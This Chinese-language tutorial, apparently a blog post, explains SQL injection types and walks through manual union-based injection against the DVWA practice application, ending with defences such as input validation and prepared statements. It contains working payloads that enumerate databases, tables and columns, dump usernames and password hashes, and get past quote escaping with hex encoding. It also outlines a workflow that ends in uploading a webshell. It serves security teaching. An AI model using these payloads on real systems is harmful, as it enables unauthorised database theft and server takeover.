SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构, 从而达到执行恶意SQL
语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,以至于整个服务器被控制、所有数据库信息泄
露, 尽管如此,SQL注入仍是现在最常见的Web漏洞之一。曾经很火的大使馆接连被黑事件,据说黑客 依靠的就是常见的SQL
注入漏洞。
谈到SQL注入,就不得不先认识一下万能密码,简单了解一下万能密码的构成原理。
万能密码是由于某些程序通过采用判断SQL语句查询结果的值是否大于0,来判断用户输入数据的正确性造成的。当查询大于0
时,代表查询存在,放回true;否则,查询失败,返回false。由于‘or 1=1 #’,不管其他条件如何, 在执行后结果始终为真;‘and
1=2’,不管其他条件如何,在执行后,结果始终为假。因此,这一类密码成为万能密码。
SQL注入,一般分为三类:数字型、字符型和搜索性。不管是哪种类型,注入的目标都是相同的,那就是通过破坏正常的SQL查
询语句的结构,返回数据库信息(包括数据库的结构、表结构、数据等)。
首先,来看一下三种类型的SQL查询语句的区别,仔细观察下面的SQL语句,那就能够发现:
数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’
搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’
但是,无论注入的类型是数字型、字符型还是搜索性,注入的方法一般都分为两种:“闭合法”、“注释法”
当输入参数为数字类型时,例如页码,ID等,存在注入时则为数字类型的注入。
这类注入方式常见于PHP和ASP等弱类型语言中,弱类型语言会自动推导数据类型。
例如,输入的ID的值为1时,会自动推导出ID的数据类型为int型, 当输入的ID的值为1 and 1 = 2时,会自动推导出ID的数据类
为string型, 但JAVA或者C#这类强类型语言并没有这样的特性,int型强制转换成string型时, 会抛出异常,注入失败,所以这
类注入方式常见于弱类型语言中。
当输入的参数为整型时,如果存在注入漏洞,一般认定为数字型注入,数字型注入的三个条件:
正常的SQL查询语句结构: select * from table where id=$ id : $ id为要输入的变量
1、加单引号’: 报错
对应的sql:select * from table where id=1’ ,这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
2、加 and 1=1,查询正常
对应的sql:select * from table where id=1 and 1=1 语句执行正常,与原始页面没有差异;
3、加 and 1=2,查询失败
对应的sql:select * from table where id=1 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
当输入参数为字串类型时,则为字串类型的输入,其与数字类型的注入的区别在于:注入时需要使用单引号来闭合。
其不同主原因在于sql语句的差异 例,select *from user where name = ‘admin’ 则注入时需要单引号闭合, 注入的数据应为
admin’and 1 = 1 - -, 合并为sql则为select * from user where name = ‘admin’and 1 = 1 – ‘
当输入的参数为字符串型时,如果存在漏洞,一般认定为字符型注入。字符型注入和数字型注入的最大的一个区别在于,字
符型必须用单引号来闭合,而数字型不需要闭合,这和SQL语句的结构息息相关。
字符型注入的三个条件:
正常的SQL查询语句结构: select * from table where id=’ $ id ’ : $ id为要输入的变量
1、输入1’ : 报错(单个单引号,无法闭合)
对应的sql:select * from table where id='1' '
2、输入1 ’ and ‘1’ = '1,查询成功
对应的sql:select * from table where id='1 ' or '1' = '1'
3、输入1 ’ and ‘1’ ='2,查询失败
对应的sql:select * from table where id='1 ' and '1' ='2'
注:还可以使用注释符,构造SQL语句,进行绕过,例如mysql常用的注释有三类:
1、-- :注意这种注释后面有一个空格;
2、#:注释后面的内容;
3、/**/:注释符号内的内容。
上面2、3中的查询语句可以分别更换为:
2: 1 ' and '1' = '1 <===> 1' and 1=1 #
3: 1 ' and '1' = '2 <===> 1' and 1=2 #
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数, 一般在链接地址中有 "keyword=关键字" 有的不显示在的链接
地址里面, 而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句, 其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存
在 注入,我们可以构造出类似与如下的sql注入语句进行爆破: select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
相对于字符型注入和数字型注入,搜索型注入更加复杂一些,接下来详细解释一下搜索型注入:
现在的网站资源一般相对雄厚,在网站的开发过程中,开发者一般会在网中中提供搜索框方便用户对信息的检索,但是,开发者
在编辑网站时,一般会忽略对用户检索的变量的过滤,导致用户可以通过给变量赋予不同的值,从而破坏数据查询语句,查询到
后台的隐私数据,搜索注入漏洞也广泛存在于各大系统:
搜索漏洞又分为POST型和GET型,其中GET型一般用在网站上的搜索,而POST型一般用在用户的注册、登录等需要保密的查
询。主要通过form表单的method属性指定是什么类型。搜索型注入又叫文本框注入。
正常的SQL语句:$sql="select * from user where username like ' % $key % ' ";($key:查询的值)
该句SQL语句的含义是,在基于用户输入的$key值在user表中查找相应的username,正常情况下输入一个key值就会查询一次,但如果输:'and 1=1 and ‘%’ = ',条件一直为真,爆出所有的查询结果,存在注入。
SQL语句就变为: sql="select * from user where username like '%' and 1=1 and '%' = '%' ";
1、搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2、搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3、搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
4、搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
5、根据两次的返回情况来判断是不是搜索型文本框注入了
6、常用语句: ' and 1=1 and '%' = '
%' and 1=1-- '
%' and 1=1 and '%' = '
1、寻找注入点、可以通过web扫描工具实现;
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本信息等相关信息,做好信息
收集工作;
3、猜解关键数据库表及其重要字段(常见如存放管理员账户的表名、字段名等信息);
4、尝试通过获得的用户信息,寻找后台登录;
5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,知道拿到服务器权限。
尽管现在sqlmap(自动化注入工具,日后详谈使用方法)已经很好的实现了自动化注入功能,但只有理解了手工注入的思路和
步骤后,我们才能理解和利用注入漏洞。
下面简要介绍手工注入(非盲注、关于盲注后面会继续更博)的步骤:
1、判断是否存在注入,注入是字符型还是数字型;
2、猜测SQL查询语句中的字段数;
3、确定显示的字段数;
4、获取当前数据库;
5、获取当前数据库的表;
6、获取表中的字段名;
7、下载数据。
该图为mysql数据库的数据库管理系统表的表结构,该表结构必须搞清楚
1、输入:1',查询失败;
2、输入:1 ' and '1' ='1 //(user_id = '1 ' and '1' ='1') 查询成功;
2、输入:1 ' and '1' ='2 // (user_id = '1 ' and '1' ='2')查询失败;
说明存在注入,并且注入类型为字符型
action one:使用order by语句:order by num(num表第几列,当第num列不存在时,报错,说明共有num-1列)
1、输入:1' or 1=1 order by 1 # //(user_id = '1' or 1=1 order by 1 #')查询成功
2、输入:1' or 1=1 order by 2 # //(user_id = '1' or 1=1 order by 2 #')查询成功
3、输入:1' or 1=1 order by 3 # //(user_id = '1' or 1=1 order by 3 #')报错
按照第三列排序,第三列报错,说明共有2列
action two:使用group by语句:group by num(num表第几列,当第num列不存在时,报错,说明共有num-1列)
order by:按照某列进行排序;group by :按照某列分类
action three:使用联合查询:
输入:1' and 1=2 union select 1,2 from information_schema.tables # // (user_id = '1' and 1=2 union select 1,2 from information_schema.tables #') 查询成功
输入:1' and 1=2 union select 1,2,3 from information_schema.tables # // (user_id = '1' and 1=2 union select 1,2,3 from information_schema.tables #') 查询失败
在第2步中,爆出有有两个字段,再通过联合查询,查询字段名
输入:1' union select 1,2# //查询成功,此时执行的语句为:(select First name,Surname from 表 where ID='id'…)
输入:1' union select 1,database() # // 获取数据库名
以下为获取数据库其他信息的函数:
1.system_user() 系统每个用户名称
2.user() 用户
3.current_user 当前用户
4.session_user() 连接数据库的用户名
5.version() 数据库版本
6.database() 数据库名
7.load_file() 转成16进制或者是10进制mysql读取本地文件的函数
8.@@datadir 读取数据库路径
9.@@basedir mysql安装路径
10.@@version_compile_os 操作系统
输入: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # // 查询数据库中的表
输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # // 查询表中的字段名
输入:1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # // 获取表中的数据(密码经过加密的可以阐释使用)
该级别,设置了下来才菜单,并且当我们提交后发现URL中没有显示ID,所以提交方式为post,这时我们不可以直接构造URL
想到用burpsuit抓包拦截,更改参数:设置好代理和拦截,发送至repeater
在id字段直接更改参数:
1、输入:' // 输出错误
2、输入:and 1=1 //查询成功
3、输入:and 1=2 //查询失败
由此判断存在注入、并且注入类型为数字型注入
1、输入:1 order by 1 # //成功
2、输入: 1 order by 2 # //成功
3、输入: 1 order by 3 # //报错,只有两列
这里和字符型类似,按照第三行排序报错,第二行正常,说明只有2列。
或者使用:group by:原理类似、用法相同(group by 按照分类)
再或者使用联合查询:1 union select 1,2 # //成功
1 union select 1,2 ,3# //报错,只有两列
输入:1 union select 1,2 #
输入:1 union select 1,database() # // 爆出数据库名:dvwa
输入:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() /// 获取dvwa库中的表guestbook,users
输入:1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
发现报错,查看错误信息可知:'user’的单引号被转义了,表名字段使用十六进制即:user进行十六进制编码:user=0x7573657273
输入:1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#\\
\\ 成功 user_id,first_name,last_name,user,password,avatar,last_login,failed_login
输入: 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # // 获取用户名和密码
High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果High级别的查询提交页面与查询结果显示页
面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询
提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。添加了limit限制每次只能查询一个,用#注释,查询即可。
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为
一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
方法一:严格检查输入变量的类型和格式
1.对数字类型的参数id的强校验(empty()为空验证和is_numeric()进行数字验证)
2.对字符串类型的参数的校验 (正则校验)
方法二:过滤和转义特殊字符
方法三:进行预编译:包括mysqli或者pdo,这也是最为有效的方法